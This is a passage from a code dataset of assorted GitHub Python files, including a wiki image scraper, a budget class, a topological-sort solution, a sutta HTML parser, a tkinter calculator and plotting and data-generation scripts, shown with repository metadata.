os.path.join(OUTPUT_FOLDER, \"foods\")\nOUTPUT_PET_FOLDER = os.path.join(OUTPUT_FOLDER, \"pets\")\nENDPT = \"https://saptest.fly.dev/db\"\n\n\nclass ImageRequest(NamedTuple):\n base_endpt: str\n output_dir: str\n\n\ndef download_image(img_url: str, output_file: str):\n resp = requests.get(img_url, stream=True)\n # https://stackoverflow.com/questions/13137817/how-to-download-image-using-requests\n if resp.ok:\n with open(output_file, \"wb\") as img_file:\n for chunk in resp:\n img_file.write(chunk)\n\n\ndef extract_imgs() -> int:\n \"\"\"\n Extract images from the SAP Fandom wiki.\n\n :returns: 0 on success\n \"\"\"\n os.makedirs(OUTPUT_FOOD_FOLDER, exist_ok=True)\n os.makedirs(OUTPUT_PET_FOLDER, exist_ok=True)\n\n item_img_requests = [\n ImageRequest(base_endpt=f\"{ENDPT}/pets\", output_dir=OUTPUT_PET_FOLDER),\n ImageRequest(\n base_endpt=f\"{ENDPT}/foods\", output_dir=OUTPUT_FOOD_FOLDER\n ),\n ]\n\n for req in item_img_requests:\n resp = requests.get(req.base_endpt)\n\n if resp.ok:\n items = json.loads(resp.text)\n for item in items:\n name = item[\"name\"]\n tier = item[\"tier\"]\n if isinstance(name, dict):\n name = name[\"Custom\"]\n\n output_img_file = os.path.join(\n req.output_dir, f\"{name}_{tier}.png\"\n )\n if os.path.exists(output_img_file):\n continue\n\n try:\n download_image(item[\"img_url\"], output_img_file)\n except Exception:\n logging.error(f\"Missing image url for {name}\")\n continue\n\n return 0\n","repo_name":"koisland/SAPWeeklyBot","sub_path":"weekly_bot/extractor.py","file_name":"extractor.py","file_ext":"py","file_size_in_byte":1952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"21487489382","text":"__author__ = 'Qiao Jin'\n\nimport json\nimport model\nimport numpy as np\nimport random\nimport sys\nimport time\nimport torch\nimport os\n\ndef Batching(ids, batch_size, shuffle=True):\n if shuffle:\n random.shuffle(ids)\n\n if len(ids) % batch_size == 0:\n batches = int(len(ids) / batch_size)\n else:\n batches = int(len(ids) / batch_size) + 1\n\n for batch in range(batches):\n yield ids[batch * batch_size: (batch + 1) * batch_size]\n\ndef readCache(caches, instances, sentid2idx, sent_num, embed_type):\n embedding_list = [caches[sentid2idx[instance + '_' + sent_num]] for instance in instances] # List[np.ndarray(3 x len x 1024)]\n if embed_type == 'biomed_w2v':\n lengths = [embedding.shape[0] for embedding in embedding_list] \n else:\n lengths = [embedding.shape[1] for embedding in embedding_list]\n max_len = max(lengths)\n batch_size = len(lengths)\n\n if embed_type == 'biomed_w2v':\n embeddings, token_mask = np.zeros((batch_size, max_len, 200)), np.zeros((batch_size, max_len))\n else:\n embeddings, token_mask = np.zeros((batch_size, 3, max_len, 1024)), np.zeros((batch_size, max_len))\n # B x 3 x L x 1024, B x L\n\n for i in range(batch_size):\n if embed_type == 'biomed_w2v':\n embeddings[i, :lengths[i], :] = embedding_list[i] \n else:\n embeddings[i, :, :lengths[i], :] = embedding_list[i]\n token_mask[i, :lengths[i]] = 1\n\n embeddings = torch.Tensor(embeddings).cuda()\n token_mask = torch.Tensor(token_mask).cuda()\n\n return embeddings, token_mask\n","repo_name":"Andy-jqa/probing_biomed_embeddings","sub_path":"nli_probing/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1576,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"29"} +{"seq_id":"7996125095","text":"class Category:\n def __init__(self,name):\n self.ledger = []\n self.name = name\n\n def deposit(self, amount, description=\"\"):\n self.ledger.append({\"amount\": amount, \"description\" : description})\n\n def withdraw(self, amount, description=\"\"):\n if self.check_funds(amount):\n self.ledger.append({\"amount\": -amount, \"description\": description})\n return True\n return False\n\n def transfer(self, amount, category):\n if self.check_funds(amount):\n self.withdraw(amount, f\"Transfer to {category.name}\")\n category.deposit(amount, f\"Transfer from {self.name}\")\n return True\n return False \n\n def get_balance(self):\n balance = 0\n for item in self.ledger:\n balance += item[\"amount\"]\n return balance\n\n def check_funds(self, amount):\n if self.get_balance() >= amount:\n return True\n else:\n return False\n \n def __str__(self):\n total=0\n output = \"\"\n\n title = f\"**************{self.name}*************\\n\"\n output += title.center(30,\" \") + \"\\n\"\n for item in self.ledger:\n description = item[\"description\"][:23].ljust(23)\n amount = format(item[\"amount\"], \".2f\").rjust(7)[:7]\n output += f\"{description}{amount}\\n\"\n total += item[\"amount\"]\n output += f\"Total: {format(total, '.2f')}\\n\"\n \n return output\n\n\ndef create_spend_chart(categories):\n # Calculate percentage spent in each category\n withdrawals = []\n category_names = []\n for category in categories:\n withdrawals.append(sum(item[\"amount\"] for item in category.ledger if item[\"amount\"] < 0))\n category_names.append(category.name)\n total_withdrawals = sum(withdrawals)\n percentages = [withdrawal / total_withdrawals * 100 for withdrawal in withdrawals]\n\n # Create chart\n chart = \"Percentage spent by category\\n\"\n for i in range(100, -10, -10):\n chart += str(i).rjust(3) + \"| \"\n for percentage in percentages:\n if percentage >= i:\n chart += \"o \"\n else:\n chart += \" \"\n chart += \"\\n\"\n chart += \" \" + \"-\" * (len(categories) * 3 + 1) + \"\\n\"\n\n # Find longest category name\n max_length = max([len(name) for name in category_names])\n\n # Add category names to chart\n for i in range(max_length):\n chart += \" \"\n for name in category_names:\n if i < len(name):\n chart += name[i] + \" \"\n else:\n chart += \" \"\n if i < max_length - 1:\n chart += \"\\n\"\n\n return chart\n\n\nfood_category = Category(\"Food\")\nfood_category.deposit(1000, \"initial deposit\")\nfood_category.withdraw(10.15, \"groceries\")\nfood_category.withdraw(15.89, \"restaurant and more food for dessert\")\nfood_category.withdraw(23.50, \"more groceries\")\nfood_category.withdraw(50.95, \"some nice restaurants\")\nclothing_category = Category(\"Clothing\")\nclothing_category.deposit(500, \"initial deposit\")\nclothing_category.withdraw(25.55, \"shirt\")\nclothing_category.withdraw(100, \"pants\")\nauto_category = Category(\"Auto\")\nauto_category.deposit(1000, \"initial deposit\")\nauto_category.withdraw(15, \"insurance\")\nauto_category.withdraw(50, \"gasoline\")\ncategories = [food_category, clothing_category, auto_category]\n\nprint(create_spend_chart(categories))\n\n ","repo_name":"manguerotti/Python-FCC","sub_path":"fcc/python/budget.py","file_name":"budget.py","file_ext":"py","file_size_in_byte":3452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"14027207387","text":"#https://leetcode.com/problems/course-schedule-ii/\n# Topological sort (Kahn's algorithm)\n\nclass Solution:\n def findOrder(self, numCourses: int, prerequisites: List[List[int]]) -> List[int]:\n adj_list = defaultdict(list)\n in_degree = [0]*numCourses\n for _to, _from in prerequisites:\n adj_list[_from].append(_to)\n in_degree[_to]+=1\n queue=[idx for idx,val in enumerate(in_degree) if val==0]\n ans=[]\n while(queue):\n node = queue.pop()\n ans.append(node)\n for _to in adj_list[node]:\n in_degree[_to]-=1\n if in_degree[_to] == 0:\n queue.insert(0, _to)\n\n if len(ans)!=numCourses:\n return []\n else:\n return ans","repo_name":"qwertyforce/cs","sub_path":"leetcode/course_schedule_2.py","file_name":"course_schedule_2.py","file_ext":"py","file_size_in_byte":785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"32670895217","text":"#!/usr/bin/env python3\n\nimport os\nimport sys\nimport glob\nimport re\nfrom pathlib import Path\nfrom typing import List, Optional, Tuple\nfrom dotenv import load_dotenv\nfrom bs4 import BeautifulSoup\n\nfrom sqlalchemy.sql import func\nfrom sqlalchemy.orm.session import Session\n\nfrom simsapa.app.db import appdata_models as Am\nfrom simsapa import logger\n\nimport helpers\nfrom simsapa.app.helpers import consistent_nasal_m, compact_rich_text, dhp_verse_to_chapter, pali_to_ascii\n\nload_dotenv()\n\ns = os.getenv('BOOTSTRAP_ASSETS_DIR')\nif s is None or s == \"\":\n logger.error(\"Missing env variable: BOOTSTRAP_ASSETS_DIR\")\n sys.exit(1)\n\nbootstrap_assets_dir = Path(s)\n\nHTML_DIR = bootstrap_assets_dir.joinpath('dhammapada-tipitaka-net/www.tipitaka.net/tipitaka/dhp/')\n\ndef parse_chapter(p: Path) -> Tuple[int, str, str]:\n html_text = open(p, 'r', encoding='latin1').read()\n\n # Mirrored from www.tipitaka.net/tipitaka/dhp/verseload.php?verse=002 by HTTrack\n # Mirrored from www.tipitaka.net/tipitaka/dhp/verseload.php?verse=416b by HTTrack\n m = re.findall(r'verseload.php\\?verse=(\\d+)\\w* by HTTrack', html_text)\n dhp_num = int(m[0])\n\n soup = BeautifulSoup(html_text, 'html.parser')\n\n # Extract title text and add an id to anchor link to\n h = soup.select('.main > p:first-child > strong')\n if len(h) != 0:\n title_id = f\"title_{dhp_num}\"\n h[0]['id'] = title_id\n title = h[0].decode_contents()\n title = title.replace('\\n', ' ').replace('<br>', ' ').replace('<br/>', ' ')\n else:\n title = f\"Dhammapada Verse {dhp_num}\"\n title_id = \"\"\n\n # Extract main text\n h = soup.select('.main > blockquote')\n if len(h) != 0:\n content_html = h[0].decode_contents()\n if title_id == \"\":\n title_id = f\"title_{dhp_num}\"\n content_html = f'<a id=\"{title_id}\"></a>' + content_html\n else:\n logger.error(\"No main blockquote in %s\" % p)\n sys.exit(1)\n\n title_li = f'<li><a href=\"#{title_id}\">{title}</a></li>'\n\n return (dhp_num, content_html, title_li)\n\ndef parse_sutta(ref: str, content_html: str) -> Am.Sutta:\n title = consistent_nasal_m(\"Dhammapada\")\n title_ascii = pali_to_ascii(title)\n title_pali = title\n\n lang = \"en\"\n # Translated by Daw Mya Tin, M.A.\n author = \"daw\"\n uid = f\"{ref}/{lang}/{author}\"\n\n # logger.info(f\"{ref} -- {title}\")\n\n content_html = '<div class=\"tipitaka_net\">' + consistent_nasal_m(content_html) + '</div>'\n\n sutta = Am.Sutta(\n source_uid = author,\n title = title,\n title_ascii = title_ascii,\n title_pali = title_pali,\n uid = uid,\n sutta_ref = helpers.uid_to_ref(ref),\n language = lang,\n content_html = content_html,\n content_plain = compact_rich_text(content_html),\n created_at = func.now(),\n )\n\n return sutta\n\ndef get_suttas(limit: Optional[int] = None) -> List[Am.Sutta]:\n\n suttas: List[Am.Sutta] = []\n\n num_to_html: dict[int, str] = {}\n num_to_li: dict[int, str] = {}\n chapters: dict[str, str] = {}\n toc_links: dict[str, str] = {}\n\n paths = glob.glob(f\"{HTML_DIR.joinpath('verseload*.html')}\")\n\n if limit:\n n = limit if len(paths) >= limit else len(paths)\n paths = paths[0:n]\n\n for p in paths:\n p = Path(p)\n\n dhp_num, content_html, title_li = parse_chapter(p)\n num_to_html[dhp_num] = content_html\n num_to_li[dhp_num] = title_li\n\n sorted_keys = list(num_to_html.keys())\n sorted_keys.sort()\n\n for dhp_num in sorted_keys:\n ref = dhp_verse_to_chapter(dhp_num)\n if ref is None:\n logger.error(f\"Can't get chapter ref: {dhp_num}\")\n continue\n\n if ref not in chapters:\n chapters[ref] = ''\n\n if ref not in toc_links:\n toc_links[ref] = ''\n\n chapters[ref] += num_to_html[dhp_num]\n toc_links[ref] += num_to_li[dhp_num]\n\n for ref, html in chapters.items():\n html = '<ul class=\"toc\">' + toc_links[ref] + '</ul>' + html\n suttas.append(parse_sutta(ref, html))\n\n return suttas\n\ndef populate_suttas_from_dhammapada_tipitaka_net(appdata_db: Session, limit: Optional[int] = None):\n logger.info(\"=== populate_suttas_from_dhammapada_tipitaka_net() ===\")\n\n suttas = get_suttas(limit)\n\n try:\n for i in suttas:\n appdata_db.add(i)\n appdata_db.commit()\n except Exception as e:\n logger.error(e)\n exit(1)\n\ndef main():\n logger.info(f\"Parsing suttas from {HTML_DIR}\")\n\n suttas = get_suttas()\n\n logger.info(f\"Count: {len(suttas)}\")\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"simsapa/simsapa","sub_path":"scripts/dhammapada_tipitaka_net.py","file_name":"dhammapada_tipitaka_net.py","file_ext":"py","file_size_in_byte":4618,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"29"} +{"seq_id":"73182300559","text":"# Thank you for viewing this code.\n# A huge round of applause to Crossroads team for all those efforts.\n\n# contact : +919544151856\n# email : jijojohnlikeu@gmail.com\n\nfrom math import *\nfrom tkinter import *\nfrom tkinter import ttk\n\ncalc = Tk()\ncalc.geometry(\"300x480+450+100\")\ncalc.minsize(300,480)\n# calc.resizable(0, 0)\ncalc.title(\"Calculator\")\ncalc.iconbitmap('./Icon/calc_icon1.ico')\n\ntheme_var = IntVar() # To change themes\nview_var = IntVar() # To toggle scientific view\ninv_var = IntVar() # To toggle Inverse functions in scientific view\nnext_oper = IntVar() # To clear screen before a new entry\n\n\n# show input on screen\ndef show(a):\n if isinstance(a, str):\n next_oper.set(0)\n en.insert(END, a)\n else:\n if next_oper.get() == 1:\n clear(\"c\")\n next_oper.set(0)\n # if the input is a tkinter event\n en.insert(END, a.widget[\"text\"])\n\n\n# clear all or delete backwards\ndef clear(a):\n if a == \"b\":\n temp = en.get()\n en.delete(0, END)\n en.insert(END, temp[0:-1])\n else:\n en.delete(0, END)\n en_top.delete(0, END)\n\n\n# get input, evaluate and show answer\ndef operate():\n value = en.get()\n en_top.delete(0, END)\n en.delete(0, END)\n # To avoid error from input like '10(2+2)'\n if \"(\" in value:\n if value.split(\"(\")[0][-1:].isnumeric():\n temp = value.split(\"(\")[0] + \"*(\" + value.split(\"(\")[1]\n value = temp\n\n en_top.insert(END, str(value))\n en.insert(END, eval(str(value)))\n history_entry.append(str(value) + \" = \" + str(eval(str(value))))\n next_oper.set(1)\n\n\n# get value and do scientific operations\ndef sci_operate(a):\n value = \"\"\n if isinstance(a, str):\n op = a\n else:\n op = a.widget[\"text\"]\n\n # If tried to operate without entering value except for pi.\n if en.get() == \"\" and op != \"\\u03C0\":\n en_top.delete(0, END)\n en_top.insert(END, \"Enter value,then calculate\")\n else:\n en_top.delete(0, END)\n value = en.get()\n\n if op == \"%\" and en.get() != \"\" or op == \"!\" and en.get() != \"\":\n en_top.insert(END, value + op)\n elif op == \"\\u221A\" and en.get() != \"\":\n en_top.insert(END, op + value)\n elif op == \"\\u03C0\":\n en_top.insert(END, op)\n else:\n if en.get() != \"\":\n en_top.insert(END, op + \"(\" + value + \")\")\n\n en.delete(0, END)\n if op == \"sin\":\n en.insert(END, sin(radians(float(value))))\n elif op == \"cos\":\n en.insert(END, cos(radians(float(value))))\n elif op == \"tan\":\n en.insert(END, tan(radians(float(value))))\n elif op == \"sinh\":\n en.insert(END, sinh(radians(float(value))))\n elif op == \"cosh\":\n en.insert(END, cosh(radians(float(value))))\n elif op == \"tanh\":\n en.insert(END, tanh(radians(float(value))))\n elif op == \"sin\\u207b\\u00B9\":\n en.insert(END, degrees(asin(float(value))))\n elif op == \"cos\\u207b\\u00B9\":\n en.insert(END, degrees(acos(float(value))))\n elif op == \"tan\\u207b\\u00B9\":\n en.insert(END, degrees(atan(float(value))))\n elif op == \"sinh\\u207b\\u00B9\":\n en.insert(END, degrees(asinh(float(value))))\n elif op == \"cosh\\u207b\\u00B9\":\n en.insert(END, degrees(acosh(float(value))))\n elif op == \"tanh\\u207b\\u00B9\":\n en.insert(END, degrees(atanh(float(value))))\n elif op == \"%\":\n en.insert(END, eval(value + \"/100\"))\n elif op == \"!\":\n en.insert(END, factorial(int(value)))\n elif op == \"\\u221A\":\n en.insert(END, sqrt(int(value)))\n elif op == \"\\u03C0\":\n en.insert(END, pi)\n\n history_entry.append(str(en_top.get()) + \" = \" + str(en.get()))\n\n\n# To save history\nhistory_entry = []\n\n\n# Show history and to use selected history.\ndef history():\n hist = Tk()\n hist.title(\"History\")\n hist.geometry(\"250x320+770+100\")\n hist.minsize(250, 320)\n scrollbar = Scrollbar(hist)\n scrollbar.pack(side=RIGHT, fill=Y)\n\n def histuse():\n selection = listbox.get(listbox.curselection())\n clear(\"c\")\n en_top.insert(END, selection.split(\"=\")[0])\n en.insert(END, selection.split(\"=\")[1].strip())\n\n listbox = Listbox(hist, font=(\"Helvetica\", 18, 'normal'))\n listbox.pack(fill=BOTH)\n use = ttk.Button(hist, text=\"Use\", command=histuse)\n use.pack(expand=True, fill=\"both\")\n\n if history_entry == []:\n listbox.insert(END, \" Empty\")\n for i in history_entry:\n listbox.insert(END, \" \" + i)\n\n listbox.config(yscrollcommand=scrollbar.set)\n scrollbar.config(command=listbox.yview)\n\n mainloop()\n\n\n# For changing theme as selection.\ndef theme():\n extra_num = [btn_zero, btn_dot]\n extra_opt = [btn_sqr, btn_div, btn_multi, btn_plus, btn_minus]\n # value of theme_var become index of list of colors in color list.\n for i in numbtns:\n i.configure(background=color[theme_var.get()][2],\n fg=color[theme_var.get()][0])\n for i in extra_num:\n i.configure(background=color[theme_var.get()][2],\n fg=color[theme_var.get()][0])\n for i in extra_opt:\n i.configure(background=color[theme_var.get()][6],\n fg=color[theme_var.get()][1])\n for i in sci_list:\n i.configure(background=color[theme_var.get()][6],\n fg=color[theme_var.get()][1])\n btn_clear.configure(background=color[theme_var.get()][3],\n fg=color[theme_var.get()][1])\n btn_back.configure(background=color[theme_var.get()][4],\n fg=color[theme_var.get()][1])\n btn_equal.configure(background=color[theme_var.get()][5],\n fg=color[theme_var.get()][1])\n en.configure(background=color[theme_var.get()][7],\n fg=color[theme_var.get()][8])\n en_top.configure(background=color[theme_var.get()][7],\n fg=color[theme_var.get()][8])\n\n\n# Changes for scientific view.\ndef scientific():\n calc.geometry(\"300x520+450+100\")\n for i in scienframe:\n i.pack(expand=True, fill=\"both\")\n for i in sci_list:\n i.configure(font=(\"Verdana\", 14), relief=GROOVE,\n border=0, background=color[theme_var.get()][6],\n fg=color[theme_var.get()][1])\n i.pack(side=LEFT, expand=True, fill=\"both\")\n\n\n# for changing back to standard view.\ndef standard():\n for i in sci_list:\n i.pack_forget()\n for i in scienframe:\n i.pack_forget()\n calc.geometry(\"300x480+450+100\")\n\n\ncount = True\n\n\n# For toggling inverse functions in scientific view\ndef inverse():\n global count\n count = not count\n # If inverse is selected\n if not count:\n sci_inv.configure(background=\"#f48c06\", fg=\"#fff\")\n for i in sci_list[:6]:\n temp = i.cget(\"text\")\n temp1 = temp + \"\\u207b\\u00B9\"\n i.configure(text=temp1, command=\"\")\n i.bind('<Button-1>', sci_operate)\n sci_list[6].configure(text=\"10^\", command=lambda: show(\"10**\"))\n sci_list[7].configure(text=\"e\\u02e3\", command=lambda: show(\"e**\"))\n # If not selected\n elif count:\n sci_inv.configure(background=color[theme_var.get()][6], fg=color[theme_var.get()][1])\n for i in sci_list[:6]:\n temp = i.cget(\"text\")\n temp1 = temp.replace(\"\\u207b\\u00B9\", \"\")\n i.configure(text=temp1, command=\"\")\n i.bind('<Button-1>', sci_operate)\n sci_list[6].configure(text=\"log\", command=lambda: sci_operate(\"log\"))\n sci_list[7].configure(text=\"ln\", command=lambda: sci_operate(\"ln\"))\n\n\n# Each list of colors for each theme.\n# 0butFont, 1operFont, 2number, 3clear, 4back, 5equal, 6operator, 7screen, 8scrn_font\ncolor = [[\"#000\", \"#fff\", \"#f1faee\", \"#e63946\", \"#f48c06\", \"#aacc00\", \"#2a9d8f\", \"#264653\", \"#fff\"],\n [\"#000\", \"#000\", \"#cbf3f0\", \"#ffbf69\", \"#2ec4b6\", \"#ff9f1c\", \"#2ec4b6\", \"#fdfffc\", \"#000\"],\n [\"#000\", \"#fff\", \"#d9d9d9\", \"#353535\", \"#353535\", \"#284b63\", \"#353535\", \"#ffffff\", \"#000\"],\n [\"#000\", \"#fff\", \"#edf2f4\", \"#d80032\", \"orange\", \"#2b2d42\", \"teal\", \"#073b4c\", \"#fff\"],\n [\"#fff\", \"#fff\", \"#000\", \"#000\", \"#000\", \"orange\", \"#000\", \"#000\", \"#fff\"]]\n\n\n# For hovering effect of number buttons.\ndef hoverin(a):\n numbtns[int(a.widget[\"text\"]) - 1].configure(background=\"#a8dadc\", fg=\"#000\")\n\n\ndef hoverout(a):\n numbtns[int(a.widget[\"text\"]) - 1].configure(background=color[theme_var.get()][2], fg=color[theme_var.get()][0])\n\n\n# Frame for Entry boxes\nentry_frame = Frame(calc)\nentry_frame.pack(expand=True, fill=\"both\", ipady=12)\n\n# Top entry screen.\nen_top = Entry(entry_frame, font=(\"Helvetica\", 16, 'normal'),\n background=color[theme_var.get()][7],\n fg=color[theme_var.get()][8],\n border=0, justify=RIGHT)\nen_top.pack(expand=True, fill=\"both\")\n# Main entry screen\nen = Entry(entry_frame, font=(\"Helvetica\", 25, 'bold'),\n background=color[theme_var.get()][7],\n fg=color[theme_var.get()][8],\n border=0, justify=RIGHT)\nen.pack(expand=True, fill=\"both\", ipady=12)\n\n# Frame for scientific buttons\nscienframe = [Frame(entry_frame, background=color[theme_var.get()][7]) for i in range(3)]\n\n# Frame for buttons and standard functions.\nbtnframe = [Frame(calc) for i in range(5)]\nfor i in btnframe:\n i.pack(expand=True, fill=\"both\")\n\n# Number buttons from 1 to 9\nnumbtns = [Button(btnframe[4 - ceil(i / 3)],\n text=str(i), font=(\"Verdana\", 22),\n relief=GROOVE, border=0,\n background=color[theme_var.get()][2],\n fg=color[theme_var.get()][0]) for i in range(1, 10)]\nfor i in numbtns:\n i.pack(side=LEFT, expand=True, fill=\"both\")\n i.bind('<Button-1>', show)\n i.bind('<Enter>', hoverin)\n i.bind('<Leave>', hoverout)\n\n\n# Other buttons on standard view.\nbtn_clear = Button(btnframe[0], text=\"C\", command=lambda: clear(\"c\"),\n font=(\"Verdana\", 22, 'bold'), relief=GROOVE,\n border=0, background=color[theme_var.get()][3],\n fg=color[theme_var.get()][1])\nbtn_clear.pack(side=LEFT, expand=True, fill=\"both\", ipadx=3)\nbtn_back = Button(btnframe[0], text=\"\\u2b05\", command=lambda: clear(\"b\"),\n font=(\"Verdana\", 22, 'bold'), relief=GROOVE,\n border=0, background=color[theme_var.get()][4],\n fg=color[theme_var.get()][1])\nbtn_back.pack(side=LEFT, expand=True, fill=\"both\")\nbtn_sqr = Button(btnframe[0], text=\"x\\u207f\", command=lambda: show(\"**\"),\n font=(\"Verdana\", 22, 'bold'), relief=GROOVE,\n border=0, background=color[theme_var.get()][6],\n fg=color[theme_var.get()][1])\nbtn_sqr.pack(side=LEFT, expand=True, fill=\"both\", ipadx=2)\nbtn_div = Button(btnframe[0], text=\"/\", command=lambda: show(\"/\"),\n font=(\"Verdana\", 22, 'bold'), relief=GROOVE,\n border=0, background=color[theme_var.get()][6],\n fg=color[theme_var.get()][1])\nbtn_div.pack(side=LEFT, expand=True, fill=\"both\", ipadx=3)\nbtn_multi = Button(btnframe[1], text=\"*\", command=lambda: show(\"*\"),\n font=(\"Verdana\", 23, 'bold'), relief=GROOVE,\n border=0, background=color[theme_var.get()][6],\n fg=color[theme_var.get()][1])\nbtn_multi.pack(side=LEFT, expand=True, fill=\"both\", ipadx=0)\nbtn_minus = Button(btnframe[2], text=\"-\", command=lambda: show(\"-\"),\n font=(\"Verdana\", 25, 'bold'), relief=GROOVE,\n border=0, background=color[theme_var.get()][6],\n fg=color[theme_var.get()][1])\nbtn_minus.pack(side=LEFT, expand=True, fill=\"both\", ipadx=2)\nbtn_plus = Button(btnframe[3], text=\"+\", command=lambda: show(\"+\"),\n font=(\"Verdana\", 22, 'bold'), relief=GROOVE,\n border=0, background=color[theme_var.get()][6],\n fg=color[theme_var.get()][1])\nbtn_plus.pack(side=LEFT, expand=True, fill=\"both\")\nbtn_zero = Button(btnframe[4], text=\"0\", command=lambda: show(\"0\"),\n font=(\"Verdana\", 22), relief=GROOVE, border=0,\n background=color[theme_var.get()][2],\n fg=color[theme_var.get()][0])\nbtn_zero.pack(side=LEFT, expand=True, fill=\"both\")\nbtn_dot = Button(btnframe[4], text=\".\", command=lambda: show(\".\"),\n font=(\"Verdana\", 22), relief=GROOVE, border=0,\n background=color[theme_var.get()][2],\n fg=color[theme_var.get()][0])\nbtn_dot.pack(side=LEFT, expand=True, fill=\"both\", ipadx=2)\nbtn_equal = Button(btnframe[4], text=\"=\", command=operate,\n font=(\"Verdana\", 22, 'bold'), relief=GROOVE, border=0,\n background=color[theme_var.get()][5],\n fg=color[theme_var.get()][1])\nbtn_equal.pack(side=LEFT, expand=True, fill=\"both\", ipadx=36)\n\n\n# Scientific Buttons\nsci_br1 = Button(scienframe[0], text=\" ( \", command=lambda: show(\"(\"))\nsci_br2 = Button(scienframe[0], text=\" ) \", command=lambda: show(\")\"))\nsci_prcnt = Button(scienframe[0], text=\" % \", command=lambda: sci_operate(\"%\"))\nsci_fact = Button(scienframe[0], text=\"n!\", command=lambda: sci_operate(\"!\"))\nsci_inv = Button(scienframe[0], text=\"Inv\", command=inverse)\nsci_sin = Button(scienframe[1], text=\"sin\", command=lambda: sci_operate(\"sin\"))\nsci_cos = Button(scienframe[1], text=\"cos\", command=lambda: sci_operate(\"cos\"))\nsci_tan = Button(scienframe[1], text=\"tan\", command=lambda: sci_operate(\"tan\"))\nsci_ln = Button(scienframe[1], text=\"ln\", command=lambda: sci_operate(\"ln\"))\nsci_pi = Button(scienframe[1], text=\"\\u03C0\", command=lambda: sci_operate(\"\\u03C0\"))\nsci_sinh = Button(scienframe[2], text=\"sinh\", command=lambda: sci_operate(\"sinh\"))\nsci_cosh = Button(scienframe[2], text=\"cosh\", command=lambda: sci_operate(\"cosh\"))\nsci_tanh = Button(scienframe[2], text=\"tanh\", command=lambda: sci_operate(\"tanh\"))\nsci_log = Button(scienframe[2], text=\"log\", command=lambda: sci_operate(\"log\"))\nsci_root = Button(scienframe[2], text=\"\\u221A\", command=lambda: sci_operate(\"\\u221A\"))\nsci_list = [sci_sin, sci_cos, sci_tan, sci_sinh, sci_cosh, sci_tanh,\n sci_log, sci_ln, sci_br1, sci_br2, sci_prcnt, sci_fact, sci_pi, sci_root, sci_inv]\n\n# Top Menubar and Menu Items\nmenubar = Menu(calc)\n\nviewmenu = Menu(menubar, tearoff=0)\nviewmenu.add_radiobutton(label=\"Standard\", variable=view_var, value=0, command=standard)\nviewmenu.add_radiobutton(label=\"Scientific\", variable=view_var, value=1, command=scientific)\n\nviewmenu.add_separator()\n\nviewmenu.add_command(label=\"Exit\", command=calc.quit)\nmenubar.add_cascade(label=\"View\", menu=viewmenu)\n\nthememenu = Menu(menubar, tearoff=0)\n\nthememenu.add_radiobutton(label=\"Default\", variable=theme_var, value=0, command=theme)\nthememenu.add_radiobutton(label=\"light\", variable=theme_var, value=1, command=theme)\nthememenu.add_radiobutton(label=\"Minimal\", variable=theme_var, value=2, command=theme)\nthememenu.add_radiobutton(label=\"Vivid\", variable=theme_var, value=3, command=theme)\nthememenu.add_radiobutton(label=\"Dark\", variable=theme_var, value=4, command=theme)\n\nmenubar.add_cascade(label=\"Themes\", menu=thememenu)\n\nhistorymenu = Menu(menubar, tearoff=0)\nhistorymenu.add_command(label=\"Show history\", command=history)\nmenubar.add_cascade(label=\"History\", menu=historymenu)\n\ncalc.config(menu=menubar)\ncalc.mainloop()","repo_name":"codejijo/Crossroads_Projects","sub_path":"Python/GUI Calculator/Calculator-v1.0.py","file_name":"Calculator-v1.0.py","file_ext":"py","file_size_in_byte":15341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"2164183571","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\n\ndef test():\n f = r'09271705\\0927170100.txt'\n delay = []\n stamp = []\n t = 0\n with open(f, 'r') as file:\n while True:\n line = file.readline()\n\n if not line:\n break\n pass\n\n i = line.strip().strip(\"}\").split(\",\")\n delay.append(((float)(i[0].split(':')[1]) + (float)((i[1].split(':'))[1])) / 2)\n stamp.append(t)\n t = t + 1\n # print(delay, stamp)\n plt.plot(stamp,delay)\n # # plt.plot(time,pci)\n plt.grid(True)\n plt.xlabel('Time/s')\n plt.ylabel('Delay/ms')\n plt.ylim(20,170)\n mean = np.mean(delay)\n # min = np.min(delay)\n # print(mean,min)\n plt.axhline(y=mean, color='red')\n # plt.title('Single delay of uplink control command')\n plt.show()\n\nif __name__ == '__main__':\n test()","repo_name":"zpicenow/UAV","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"10624795945","text":"# coding: utf-8\r\n# import sys\r\nimport os\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport itertools\r\n# import csv\r\nimport pickle\r\nimport json\r\n# from numpy.fft import fftn\r\n\r\n\r\ndef make_teacher_data(input):\r\n\r\n nx, ny = input[\"target\"][\"num_x\"], input[\"target\"][\"num_y\"]\r\n lx, ly = input[\"target\"][\"lx\"], input[\"target\"][\"ly\"]\r\n amp = input[\"amp\"]\r\n noise = input[\"noise\"]\r\n max_m = input[\"target\"][\"max_m\"]\r\n max_n = input[\"target\"][\"max_n\"]\r\n list_m = np.arange(max_m)\r\n list_n = np.arange(max_n)\r\n ndat = input[\"learning\"][\"ndat\"]\r\n # ntest = input[\"learning\"][\"ntest\"]\r\n pkl_file = input[\"pkl_surface_teacher\"]\r\n \r\n data = []\r\n print(\"make_teacher_data\")\r\n print(\"out=\", pkl_file)\r\n for m, n in itertools.product(list_m, list_n):\r\n print(m, n)\r\n for i in range(ndat): # 400\r\n x, y, z = make_surface(\r\n m=m, n=n, nx=nx, ny=ny, lx=lx, ly=ly, amp=amp, noise=noise)\r\n row = {\"m\": m, \"n\": n, \"z\": z, \"x\": x, \"y\": y}\r\n data.append(row)\r\n\r\n with open(pkl_file, 'wb') as f:\r\n pickle.dump(data, f)\r\n\r\n\r\ndef make_test_data(input):\r\n nx, ny = input[\"target\"][\"num_x\"], input[\"target\"][\"num_y\"]\r\n lx, ly = 